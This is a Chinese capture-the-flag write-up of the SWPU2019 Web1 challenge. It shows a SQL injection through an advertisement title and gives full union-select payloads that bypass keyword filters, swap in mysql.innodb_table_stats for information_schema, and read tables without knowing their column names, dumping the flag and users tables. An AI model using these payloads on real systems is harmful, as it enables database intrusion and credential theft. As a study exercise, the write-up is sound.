[SWPU2019]Web1(学习).md


首页长这样


POST的形式


尝试使用admin注册时提示该用户已被注册

使用用户名aaa和密码123注册并登录

POST内容

广告详情页是/detail.php?id=xxx的形式

尝试对id进行sql注入

无果QAQ

尝试SSTI

貌似对标题有效,但大括号还在,估计和SSTI无关,更偏向于+直接被过滤了,回到sql注入试试

当标题为andor#时会提示标题含有敏感词汇

对于payload 1',访问detail.php时发现mysql报错

确定是sql注入

为什么会用广告名进行sql查询呢QwQ

猜测后端是直接维护一张广告名和广告id的映射表,然后神奇地用广告名来查询广告内容了(下次记得还是用id查好,这样就能直接在url上注入了hiahiahia)

union select检查注入点

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

麻了22个字段出题人这是要累死人(恼

注入点在2和3

什么,广告名都能注入的嘛,后端你查询咋写的QAQ,用来查询的字符串合着真的只有查询作用呗


那就拿广告名来注入叭

查看当前数据库

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

查看所有数据库

这里改成where '1'='1来补全后面的引号了

1'/**/union/**/select/**/1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.schemata/**/where/**/'1'='1

大意了,informationor被ban了QAQ

好的接下来是学习时间(


1'/**/union/**/select/**/1,group_concat(database_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/'1'='1

查看表格

1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/'1'='1

读取FLAG_TABLE内容

这波不知道字段的查询真的惊到我了,sql还能这么玩的嘛

1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1/**/as/**/a/**/union/**/select/**/*/**/from/**/ctftraining.FLAG_TABLE)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

被骗了.jpg

读取users内容

1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

学到了学到了QwQ

#Web #HTTP #SQL注入 #bypass #联合注入